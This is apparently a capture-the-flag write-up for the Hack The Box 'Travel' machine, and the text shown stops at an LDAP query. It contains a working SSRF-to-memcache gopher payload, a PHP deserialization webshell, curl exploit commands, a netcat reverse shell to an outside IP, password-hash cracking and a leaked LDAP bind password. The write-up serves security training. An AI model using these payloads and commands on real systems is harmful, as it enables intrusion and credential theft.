Information
Box
Write-up
Overview
TL;DR : Tricky RCE exploiting PHP deserialization through memcache over gopher. Then EoP through password hash cracking & docker.
Install tools used in this WU on BlackArch Linux:
pacman -S nmap ffuf gittools haiti git openssh gopherus openldap gtfo gtfoblookup
Network enumeration
Port & service discovery with a nmap scan:
# Nmap 7.80 scan initiated Fri Jul 31 19:52:02 2020 as: nmap -p- -sSVC -oA nmap_full -v 10.10.10.189
Nmap scan report for 10.10.10.189
Host is up (0.023s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.17.6
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.17.6
|_http-title: Travel.HTB
443/tcp open ssl/http nginx 1.17.6
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.17.6
|_http-title: Travel.HTB - SSL coming soon.
| ssl-cert: Subject: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
| Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb
| Issuer: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-04-23T19:24:29
| Not valid after: 2030-04-21T19:24:29
| MD5: ef0a a4c1 fbad 1ac4 d160 58e3 beac 9698
|_SHA-1: 0170 7c30 db3e 2a93 cda7 7bbe 8a8b 7777 5bcd 0498
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 31 19:52:39 2020 -- 1 IP address (1 host up) scanned in 36.46 seconds
Let's add the local domain to our host file, it's important not to miss
the Subject Alternative Name from the nmap scan:
$ cat /etc/hosts | grep travel
10.10.10.189 travel.htb
10.10.10.189 www.travel.htb
10.10.10.189 blog.travel.htb
10.10.10.189 blog-dev.travel.htb
HTTP discovery
The site on port 80 http://www.travel.htb/ is just a default HTML template.
The site on port 443 https://www.travel.htb/ seems not available yet.
At first glance, there is nothing, so we'll need enumeration.
HTTP enumeration
With ffuf I'll try to find some sub-directories or pages:
$ ffuf -u http://www.travel.htb/FUZZ -r -c -w ~/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -e .txt,.html,.php
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : http://www.travel.htb/FUZZ
:: Wordlist : FUZZ: /home/noraj/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
:: Extensions : .txt .html .php
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
index.html [Status: 200, Size: 5093, Words: 842, Lines: 145]
js [Status: 403, Size: 154, Words: 3, Lines: 8]
css [Status: 403, Size: 154, Words: 3, Lines: 8]
img [Status: 403, Size: 154, Words: 3, Lines: 8]
lib [Status: 403, Size: 154, Words: 3, Lines: 8]
. [Status: 200, Size: 5093, Words: 842, Lines: 145]
newsfeed [Status: 403, Size: 154, Words: 3, Lines: 8]
:: Progress: [153068/153068] :: Job [1/1] :: 1000 req/sec :: Duration: [0:02:33] :: Errors: 0 ::
Nothing on the HTTP site. But we didn't found many thing either for the HTTPS
website:
$ ffuf -u https://www.travel.htb/FUZZ -r -c -w ~/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -e .txt,.html,.php
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : https://www.travel.htb/FUZZ
:: Wordlist : FUZZ: /home/noraj/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
:: Extensions : .txt .html .php
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
index.html [Status: 200, Size: 1123, Words: 104, Lines: 52]
. [Status: 200, Size: 1123, Words: 104, Lines: 52]
:: Progress: [153068/153068] :: Job [1/1] :: 950 req/sec :: Duration: [0:02:41] :: Errors: 0 ::
The SSL version of blog.travel.htb and blog-dev.travel.htb are both serving the
same content as https://www.travel.htb/ but the version in HTTP is different.
http://blog.travel.htb/
We may have a hint here:
Welcome to our Travel Blog. Make sure to check out our new RSS feature coming fresh from our blog-dev team!
The feed URL is: http://blog.travel.htb/feed/
< rss xmlns:content = "http://purl.org/rss/1.0/modules/content/" xmlns:wfw = "http://wellformedweb.org/CommentAPI/" xmlns:dc = "http://purl.org/dc/elements/1.1/" xmlns:atom = "http://www.w3.org/2005/Atom" xmlns:sy = "http://purl.org/rss/1.0/modules/syndication/" xmlns:slash = "http://purl.org/rss/1.0/modules/slash/" version = "2.0" >
< channel >
< title >Travel Blog</ title >
< atom:link href = "http://blog.travel.htb/feed/" rel = "self" type = "application/rss+xml" />
< link >http://blog.travel.htb</ link >
< description >Who doesn't love to travel ?</ description >
< lastBuildDate >Thu, 23 Apr 2020 19:27:27 +0000</ lastBuildDate >
< language >en-US</ language >
< sy:updatePeriod > hourly </ sy:updatePeriod >
< sy:updateFrequency > 1 </ sy:updateFrequency >
< generator >https://wordpress.org/?v=5.4</ generator >
< item >
< title >Travel Blog</ title >
< link >http://blog.travel.htb/2020/04/13/hello-world/</ link >
< dc:creator >
<![CDATA[ admin ]]>
</ dc:creator >
< pubDate >Mon, 13 Apr 2020 13:19:01 +0000</ pubDate >
< category >
<![CDATA[ Uncategorized ]]>
</ category >
< guid isPermaLink = "false" >http://localhost/?p=1</ guid >
< description >
<![CDATA[ Welcome to our Travel Blog. Make sure to check out our new RSS feature coming fresh from our blog-dev team! ]]>
</ description >
< content:encoded >
<![CDATA[ <p>Welcome to our Travel Blog. Make sure to check out our new RSS feature coming fresh from our blog-dev team!</p> ]]>
</ content:encoded >
</ item >
</ channel >
</ rss >
Nothing fancy, but it seems to leak the Wordpress version.
We also have a login area: http://blog.travel.htb/wp-login.php
I ran a ffuf enumeration but won't display it here as it only shows all the
Wordpress files.
http://blog-dev.travel.htb/
It seems we are denied but it's worth checking if we can leak some files.
$ ffuf -u http://blog-dev.travel.htb/FUZZ -r -c -w ~/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -e .txt,.html,.php
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : http://blog-dev.travel.htb/FUZZ
:: Wordlist : FUZZ: /home/noraj/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
:: Extensions : .txt .html .php
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
. [Status: 403, Size: 154, Words: 3, Lines: 8]
.git [Status: 403, Size: 154, Words: 3, Lines: 8]
It seems like there is a git repository.
HTTP exploitation & code analysis
Let's start with the git repository with GitTools that will allow us
to dump it.
$ gittools-gitdumper http://blog-dev.travel.htb/.git/ dev-repo
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[+] Creating dev-repo/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/03/13850ae948d71767aff2cc8cc0f87a0feeef63
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/b0/2b083f68102c4d62c49ed3c99ccbb31632ae9f
[+] Downloaded: objects/ed/116c7c7c51645f1e8a403bcec44873f74208e9
[+] Downloaded: objects/2b/1869f5a2d50f0ede787af91b3ff376efb7b039
[+] Downloaded: objects/30/b6f36ec80e8bc96451e47c49597fdd64cee2da
Then we can look into this repository:
$ git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: README.md
deleted: rss_template.php
deleted: template.php
$ git restore README.md rss_template.php template.php
It seems we can now read the source code of the RSS generator:
rss_template.php
.
< ? php
/*
Template Name: Awesome RSS
*/
include ( 'template.php' );
get_header ();
? >
< main class = "section-inner" >
< ? php
function get_feed ( $url ){
require_once ABSPATH . '/wp-includes/class-simplepie.php' ;
$simplepie = null ;
$data = url_get_contents ( $url );
if ( $url ) {
$simplepie = new SimplePie ();
$simplepie -> set_cache_location ( 'memcache://127.0.0.1:11211/?timeout=60&prefix=xct_' );
//$simplepie->set_raw_data($data);
$simplepie -> set_feed_url ( $url );
$simplepie -> init ();
$simplepie -> handle_content_type ();
if ( $simplepie -> error ) {
error_log ( $simplepie -> error );
$simplepie = null ;
$failed = True ;
}
} else {
$failed = True ;
}
return $simplepie ;
}
$url = $_SERVER [ 'QUERY_STRING' ];
if ( strpos ( $url , "custom_feed_url" ) !== false ){
$tmp = ( explode ( "=" , $url ));
$url = end ( $tmp );
} else {
$url = "http://www.travel.htb/newsfeed/customfeed.xml" ;
}
$feed = get_feed ( $url );
if ( $feed -> error ())
{
echo '<div class="sp_errors">' . " \r\n " ;
echo '<p>' . htmlspecialchars ( $feed -> error ()) . "</p> \r\n " ;
echo '</div>' . " \r\n " ;
}
else {
? >
< div class = "chunk focus" >
< h3 class = "header" >
< ? php
$link = $feed -> get_link ();
$title = $feed -> get_title ();
if ( $link )
{
$title = "<a href=' $link ' title=' $title '> $title </a>" ;
}
echo $title ;
? >
</ h3 >
< ? php echo $feed -> get_description (); ? >
</ div >
< ? php foreach ( $feed -> get_items () as $item ) : ? >
< div class = "chunk" >
< h4 >< ? php if ( $item -> get_permalink ()) echo '<a href="' . $item -> get_permalink () . '">' ; echo $item -> get_title (); if ( $item -> get_permalink ()) echo '</a>' ; ? > & nbsp; < span class = "footnote" >< ? php echo $item -> get_date ( 'j M Y, g:i a' ); ? ></ span ></ h4 >
< ? php echo $item -> get_content (); ? >
< ? php
if ( $enclosure = $item -> get_enclosure ( 0 ))
{
echo '<div align="center">' ;
echo '<p>' . $enclosure -> embed ( array (
'audio' => './for_the_demo/place_audio.png' ,
'video' => './for_the_demo/place_video.png' ,
'mediaplayer' => './for_the_demo/mediaplayer.swf' ,
'altclass' => 'download'
)) . '</p>' ;
if ( $enclosure -> get_link () && $enclosure -> get_type ())
{
echo '<p class="footnote" align="center">(' . $enclosure -> get_type ();
if ( $enclosure -> get_size ())
{
echo '; ' . $enclosure -> get_size () . ' MB' ;
}
echo ')</p>' ;
}
if ( $enclosure -> get_thumbnail ())
{
echo '<div><img src="' . $enclosure -> get_thumbnail () . '" alt="" /></div>' ;
}
echo '</div>' ;
}
? >
</ div >
< ? php endforeach ; ? >
< ? php } ? >
</ main >
<! --
DEBUG
< ? php
if ( isset ( $_GET [ 'debug' ])){
include ( 'debug.php' );
}
? >
-- >
< ? php get_template_part ( 'template-parts/footer-menus-widgets' ); ? >
< ? php
get_footer ();
Lines 33, 34, 40 seems to show a user controlled input. Lines 103, 104 teels use we can enable
a debug feature that may be show more verbose messages. On line 5, template.php
is included
so let's take a look at it.
< ? php
/**
Todo: finish logging implementation via TemplateHelper
*/
function safe ( $url )
{
// this should be secure
$tmpUrl = urldecode ( $url );
if ( strpos ( $tmpUrl , "file://" ) !== false or strpos ( $tmpUrl , "@" ) !== false )
{
die ( "<h2>Hacking attempt prevented (LFI). Event has been logged.</h2>" );
}
if ( strpos ( $tmpUrl , "-o" ) !== false or strpos ( $tmpUrl , "-F" ) !== false )
{
die ( "<h2>Hacking attempt prevented (Command Injection). Event has been logged.</h2>" );
}
$tmp = parse_url ( $url , PHP_URL_HOST );
// preventing all localhost access
if ( $tmp == "localhost" or $tmp == "127.0.0.1" )
{
die ( "<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>" );
}
return $url ;
}
function url_get_contents ( $url ) {
$url = safe ( $url );
$url = escapeshellarg ( $url );
$pl = "curl " . $url ;
$output = shell_exec ( $pl );
return $output ;
}
class TemplateHelper
{
private $file ;
private $data ;
public function __construct ( string $file , string $data )
{
$this -> init ( $file , $data );
}
public function __wakeup ()
{
$this -> init ( $this -> file , $this -> data );
}
private function init ( string $file , string $data )
{
$this -> file = $file ;
$this -> data = $data ;
file_put_contents ( __DIR__ . '/logs/' . $this -> file , $this -> data );
}
}
What we saw in rss_template.php
:
L40 get_feed()
is called with $url
as arg
L33 $url
is user controlled via custom_feed_url
in the URL
L14 In get_feed()
the function url_get_contents()
is called
url_get_contents()
is a custom function that reminds us the official
file_get_contents function.
Now what we can see in template.php
:
L28-34 url_get_contents()
is defined
L29 the safe()
custom function is called
L30 the escapeshellarg()
native function is called (see the doc )
L31-32 curl
is called inside shell_exec()
with user controlled argument
This gives potential for local file disclosure, SSRF and RCE. Maybe even XXE if SimplePie parser is vulnerable.
L7-26 the safe()
function seems to some basic filtering that is bypassable
The feed seems available for display at those endpoints:
However the feed http://blog.travel.htb/feed/ we saw earlier seems to be completely
different and won't interest us.
It seems that http://blog.travel.htb/awesome-rss/ is using rss_template.php
to parse http://www.travel.htb/newsfeed/customfeed.xml and render it in HTML.
We can alter this behavior by providing another feed source with the parameter
custom_feed_url
. For example we can provide this alternative RSS
source: http://blog.travel.htb/awesome-rss/?custom_feed_url=http://blog.travel.htb/feed/ .
The safe()
function disable us to use file://
protocol but gopher://
may
be use instead. 127.0.0.1
and localhost
are filtered but that's easily
bypassable.
L17 we also saw there was a memcache server. gopher://
will allow us to interact
with memcache so it seems the way to go.
Let's see if we can craft a gopher payload that bypass the filters
to check if we can use gopher.
Let's quickly check that the string comparison is case sensitive in PHP.
Hopefully URL are case insensitive so LOCALHOST
will be accepted by the server
and not filtered by safe()
.
php - a
Interactive shell
php > var_dump ( "LOCALHOST" == "localhost" );
bool ( false )
Requesting on port 80 we can access the local HTTP server and bypass safe()
.
http://blog.travel.htb/awesome-rss/?custom_feed_url=gopher://LOCALHOST:80/
Other localhost bypasses may be found on PayloadsAllTheThings .
If one didn't see the memcache URL it's still possible to bruteforce ports
to check available services on localhost.
To create gopher payloads there is no better tool than Gopherus .
$ gopherus --exploit dmpmemcache
$ gopherus --exploit phpmemcache
With the first command we will be able to dump the Memcached content and with
the second one to execute a PHP payload.
Let's try some basic memcache commands found on HackTricks .
$ gopherus --exploit dmpmemcache
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
author: $_SpyD3r_$
Give payload you want to run in Memcached Server: version
Your gopher link is ready to dump Memcache :
gopher://127.0.0.1:11211/_%0d%0aversion%0d%0a
-----------Made-by-SpyD3r----------
Then we just have to replace 127.0.0.1
by LOCALHOST
:
?custom_feed_url=gopher://LOCALHOST:11211/_%0d%0aversion%0d%0a
This is maybe working but I don't think we will obtain an output so let's try
a RCE directly.
To get a RCE we have to know a Class where we can use deserialization,
hopefully there is TemplateHelper
class in template.php
.
Let's create a PoC for serialization:
< ? php
class TemplateHelper
{
private $file ;
private $data ;
public function __construct ( string $file , string $data )
{
$this -> init ( $file , $data );
}
public function __wakeup ()
{
$this -> init ( $this -> file , $this -> data );
}
private function init ( string $file , string $data )
{
$this -> file = $file ;
$this -> data = $data ;
file_put_contents ( __DIR__ . '/logs/' . $this -> file , $this -> data );
}
}
$obj = new TemplateHelper ( "noraj.php" , file_get_contents ( 'shell.php' ));
$serialized = serialize ( $obj );
echo $serialized ;
With the class we will be able to write a file into the log folder.
I wanted to write a php webshell with weevely but weevely generated shell
contains a lot of @
chars that are disabled. So I had to use a simpler
webshell, something like easy-simple-php-webshell.php
or Simple-Backdoor-One-Liner.php .
Then we can serialize it.
$ php serialize . php 2 >/ dev / null | tr - d '\n'
O : 14 : "TemplateHelper" : 2 :{s: 20 : "TemplateHelperfile" ;s: 9 : "noraj.php" ;s: 20 : "TemplateHelperdata" ;s: 113 : "<?php if(isset( $_REQUEST ['cmd'])){ echo " < pre > "; $cmd = ( $_REQUEST ['cmd']); system( $cmd ); echo " </ pre > "; die; }?>" ;}
Once encoded in the gopher payload:
gopher://LOCALHOST:11211/_%0d%0aset%20SpyD3r%204%200%20216%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:20:%22TemplateHelperfile%22%3Bs:9:%22noraj.php%22%3Bs:20:%22TemplateHelperdata%22%3Bs:113:%22%3C%3Fphp%20if%28isset%28%24_REQUEST%5B%27cmd%27%5D%29%29%7B%20echo%20%22%3Cpre%3E%22%3B%20%24cmd%20%3D%20%28%24_REQUEST%5B%27cmd%27%5D%29%3B%20system%28%24cmd%29%3B%20echo%20%22%3C/pre%3E%22%3B%20die%3B%20%7D%3F%3E%22%3B%7D%0d%0a
But where are stored the templates?
The theme is the default WordPress one, the css is located at
http://blog.travel.htb/wp-content/themes/twentytwenty/style.css
so the templates will be here too, eg. http://blog.travel.htb/wp-content/themes/twentytwenty/template.php
This mean that our webshell should be uploaded at http://blog.travel.htb/wp-content/themes/twentytwenty/logs/noraj.php
so our paylaod was not executed.
I think it's due to escapeshellarg escaping
the quotes.
PS: the debug feature can also be accessed directly http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php
So let's try with a shell not using quotes:
< ? php system ( $_GET [ 1 ]); ? >
$ php serialize.php 2>/dev/null | tr -d '\n'
O:14:"TemplateHelper":2:{s:20:"TemplateHelperfile";s:9:"noraj.php";s:20:"TemplateHelperdata";s:26:"<?php system($_GET[1]); ?>";}
gopher://127.0.0.1:11211/_%0d%0aset%20SpyD3r%204%200%20128%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:20:%22TemplateHelperfile%22%3Bs:9:%22noraj.php%22%3Bs:20:%22TemplateHelperdata%22%3Bs:26:%22%3C%3Fphp%20system%28%24_GET%5B1%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a
Also Gopherus is hardcoding the key where it set the value to SpyD3r
(this must be the reason why). But this
key is never called so the deserialization is never triggered.
Let's get back to the line where the content is cached:
$simplepie -> set_cache_location ( 'memcache://127.0.0.1:11211/?timeout=60&prefix=xct_' );
The caching is done by simplepie with the function set_cache_location() .
We can also see there is a 60 second timeout so after that the cache may expire
and the keys are prefixed with xct_
.
If we search the set_cache_location()
function on the source hosted on github
we can see the function is calling the class method cache_location
.
https://github.com/simplepie/simplepie/blob/ae49e2201b6da9c808e5dac437aca356a11831b4/library/SimplePie.php#L901-L909
/**
* Set the file system location where the cached files should be stored
*
* @param string $location The file system location.
*/
public function set_cache_location ( $location = './cache' )
{
$this -> cache_location = ( string ) $location ;
}
Searching for cache_location
I saw that both class
SimplePie_Cache_Memcache
(library/SimplePie/Cache/Memcache.php
) and
SimplePie_Cache_Memcached
(/library/SimplePie/Cache/Memcached.php
) are
implementing SimplePie_Cache_Base
interface (library/SimplePie/Cache/Base.php
).
Both are similar,
https://github.com/simplepie/simplepie/blob/a72e1dfafe7870affdae3edf0d9a494e4fa31bc6/library/SimplePie/Cache/Memcached.php#L78-L99
/**
* Create a new cache object
* @param string $location Location string (from SimplePie::$cache_location)
* @param string $name Unique ID for the cache
* @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
*/
public function __construct ( $location , $name , $type ) {
$this -> options = array (
'host' => '127.0.0.1' ,
'port' => 11211 ,
'extras' => array (
'timeout' => 3600 , // one hour
'prefix' => 'simplepie_' ,
),
);
$this -> options = SimplePie_Misc :: array_merge_recursive ( $this -> options , SimplePie_Cache :: parse_URL ( $location ));
$this -> name = $this -> options [ 'extras' ][ 'prefix' ] . md5 ( " $name : $type " );
$this -> cache = new Memcached ();
$this -> cache -> addServer ( $this -> options [ 'host' ], ( int ) $this -> options [ 'port' ]);
}
The extra options timeout & prefix will be overriden by the ones we saw in
the template. Then the key is the concatenation of
the prefix xct_
+ the md5 of the name (unique id), colon & type (TYPE_FEED).
In library/SimplePie/Cache/Base.php
we can see that TYPE_FEED = 'spc'
.
So we have something like that xct_ + MD5( UNIQUE_ID? ":spc")
but we still need
to determine how UNIQUE_ID
is generated.
For that we have to look at the main class (in library/SimplePie.php
) when
SimplePie is initialized ($simplepie->init();
).
set_cache_name_function
https://github.com/simplepie/simplepie/blob/ae49e2201b6da9c808e5dac437aca356a11831b4/library/SimplePie.php#L1117-L1128
/**
* Set callback function to create cache filename with
*
* @param mixed $function Callback function
*/
public function set_cache_name_function ( $function = 'md5' )
{
if ( is_callable ( $function ))
{
$this -> cache_name_function = $function ;
}
}
https://github.com/simplepie/simplepie/blob/ae49e2201b6da9c808e5dac437aca356a11831b4/library/SimplePie.php#L535-L540
/**
* @var string Function that creates the cache filename
* @see SimplePie::set_cache_name_function()
* @access private
*/
public $cache_name_function = 'md5' ;
https://github.com/simplepie/simplepie/blob/ae49e2201b6da9c808e5dac437aca356a11831b4/library/SimplePie.php#L1377
$cache = $this -> registry -> call ( 'Cache' , 'get_handler' , array ( $this -> cache_location , call_user_func ( $this -> cache_name_function , $url ), 'spc' ));
https://github.com/simplepie/simplepie/blob/ae49e2201b6da9c808e5dac437aca356a11831b4/library/SimplePie.php#L1714
$cache = $this -> registry -> call ( 'Cache' , 'get_handler' , array ( $this -> cache_location , call_user_func ( $this -> cache_name_function , $file -> url ), 'spc' ));
So what I called the UNIQUE_ID
is generated like this md5($url)
.
https://github.com/simplepie/simplepie/blob/ae49e2201b6da9c808e5dac437aca356a11831b4/library/SimplePie.php#L1376
$url = $this -> feed_url . ( $this -> force_feed ? '#force_feed' : '' );
$url
is the feed_url
.
"xct_" + MD5( MD5(feed_url) + ":spc")
So now which URL do we want to poison? We are forced to make it in two steps.
Because poisoning the URL we are attacking with is impossible as we need
the hash of the URL but the URL contains the cache that is forged with the
URL hash, so it's recursive.
Else we have to poison an arbitrary URL that we can compute in advance.
In the template code if no custom_feed_url
is provided, the default one
http://www.travel.htb/newsfeed/customfeed.xml is used instead.
We can compute it like that:
$ printf %s "$(printf %s 'http://www.travel.htb/newsfeed/customfeed.xml' | md5sum | cut -d ' ' -f 1):spc" | md5sum | cut -d ' ' -f 1
4e5612ba079c530a6b1f148c0b352241
The cache key is xct_4e5612ba079c530a6b1f148c0b352241
.
So now here is the two steps attack:
Poison the cache with the with our gopher request
Call http://blog.travel.htb/awesome-rss/ without custom feed to trigger the cache (within 60 seconds)
That will result in our shell being written to the server.
We have to replace SpyD3r
with xct_4e5612ba079c530a6b1f148c0b352241
.
Also we have to understand the Memcached - Set Data structure
set key flags exptime bytes [noreply]
value
By default gopherus set the following:
flags: 4 (an arbitrary integer)
exptime: 0 (no expiration)
bytes: 128 (size in bytes of the data block)
That seems good. Also earlier I was copy-pasting the serialized payload into gopherus
so some unprintable characters were missing. The proper solution is to directly pipe
the output into it.
$ php serialize.php 2>/dev/null | gopherus --exploit phpmemcache
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
author: $_SpyD3r_$
This is usable when you know Class and Variable name used by user
Give serialization payload
example: O:5:"Hello":0:{} :
Your gopher link is ready to do SSRF :
gopher://127.0.0.1:11211/_%0d%0aset%20SpyD3r%204%200%20132%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:20:%22%00TemplateHelper%00file%22%3Bs:9:%22noraj.php%22%3Bs:20:%22%00TemplateHelper%00data%22%3Bs:26:%22%3C%3Fphp%20system%28%24_GET%5B1%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a
After everything done, you can delete memcached item by using this payload:
gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a
-----------Made-by-SpyD3r-----------
Then we just have to run the two steps.
$ curl 'http://blog.travel.htb/awesome-rss/?custom_feed_url=gopher://LOCALHOST:11211/_%0d%0aset%20xct_4e5612ba079c530a6b1f148c0b352241%204%200%20132%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:20:%22%00TemplateHelper%00file%22%3Bs:9:%22noraj.php%22%3Bs:20:%22%00TemplateHelper%00data%22%3Bs:26:%22%3C%3Fphp%20system%28%24_GET%5B1%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a'
$ curl http://blog.travel.htb/awesome-rss/
And http://blog.travel.htb/wp-content/themes/twentytwenty/logs/noraj.php is
available.
Then we have 60 seconds to do something like getting a reverse shell, eg.
http://blog.travel.htb/wp-content/themes/twentytwenty/logs/noraj.php?1=nc -e /bin/bash 10.10.14.66 9999
$ pwncat -l 9999 -vv
INFO: Listening on :::9999 (family 10/IPv6, TCP)
INFO: Listening on 0.0.0.0:9999 (family 2/IPv4, TCP)
INFO: Client connected from 10.10.10.189:47498 (family 2/IPv4, TCP)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Elevation of Privilege (EoP): from www-data to lynik-admin
There is a SQL backup in the wordpress directory.
$ ls -lhA /opt/wordpress
total 1.2M
-rw-r--r-- 1 root root 1.2M Apr 24 06:39 backup-13-04-2020.sql
Let's look for the user creation:
$ cat /opt/wordpress/backup-13-04-2020.sql | grep 'INSERT INTO `wp_users`'
INSERT INTO `wp_users` VALUES (1,'admin','$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/','admin','admin@travel.htb','http://localhost','2020-04-13 13:19:01','',0,'admin'),(2,'lynik-admin','$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.','lynik-admin','lynik@travel.htb','','2020-04-13 13:36:18','',0,'Lynik Schmidt');
Then we can run haiti to find the hash type:
$ haiti '$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.'
Wordpress ≥ v2.6.2 [HC: 400] [JtR: phpass]
Joomla ≥ v2.5.18 [HC: 400] [JtR: phpass]
PHPass' Portable Hash [HC: 400] [JtR: phpass]
Then let's start cracking with john :
$ john --format=phpass hashes.txt -w=/usr/share/wordlists/passwords/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1stepcloser (?)
lynik-admin
/ 1stepcloser
The we can log in via ssh:
$ ssh lynik-admin@travel.htb
lynik-admin@travel:~$ id
uid=1001(lynik-admin) gid=1001(lynik-admin) groups=1001(lynik-admin)
Elevation of Privilege (EoP): from lynik-admin to root
lynik-admin@travel:~$ ls -lhA
total 32K
lrwxrwxrwx 1 lynik-admin lynik-admin 9 Apr 23 17:31 .bash_history -> /dev/null
-rw-r--r-- 1 lynik-admin lynik-admin 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 lynik-admin lynik-admin 3.7K Feb 25 2020 .bashrc
drwx------ 2 lynik-admin lynik-admin 4.0K Apr 23 19:34 .cache
drwx------ 4 lynik-admin lynik-admin 4.0K Sep 9 05:48 .gnupg
-rw-r--r-- 1 lynik-admin lynik-admin 82 Apr 23 19:35 .ldaprc
-rw-r--r-- 1 lynik-admin lynik-admin 807 Feb 25 2020 .profile
-r--r--r-- 1 root root 33 Sep 9 04:56 user.txt
-rw------- 1 lynik-admin lynik-admin 861 Apr 23 19:35 .viminfo
We can see a .viminfo
file and a .ldaprc
file.
Some lines in .viminfo
are interesting:
# Registers:
""1 LINE 0
BINDPW Theroadlesstraveled
|3,1,1,1,1,0,1587670528,"BINDPW Theroadlesstraveled"
# File marks:
'0 3 0 ~/.ldaprc
|4,48,3,0,1587670530,"~/.ldaprc"
# Jumplist (newest first):
-' 3 0 ~/.ldaprc
|4,39,3,0,1587670530,"~/.ldaprc"
-' 1 0 ~/.ldaprc
|4,39,1,0,1587670527,"~/.ldaprc"
# History of marks within files (newest to oldest):
> ~/.ldaprc
* 1587670529 0
" 3 0
. 4 0
+ 4 0
In the .ldaprc
too:
HOST ldap.travel.htb
BASE dc=travel,dc=htb
BINDDN cn=lynik-admin,dc=travel,dc=htb
With the password and information we can make a request binding to the rootDN:
$ ldapsearch -H ldap://ldap.travel.htb -x -D 'cn=lynik-admin,dc=travel,dc=htb' -w Theroadlesstraveled
# extended LDIF
#
# LDAPv3
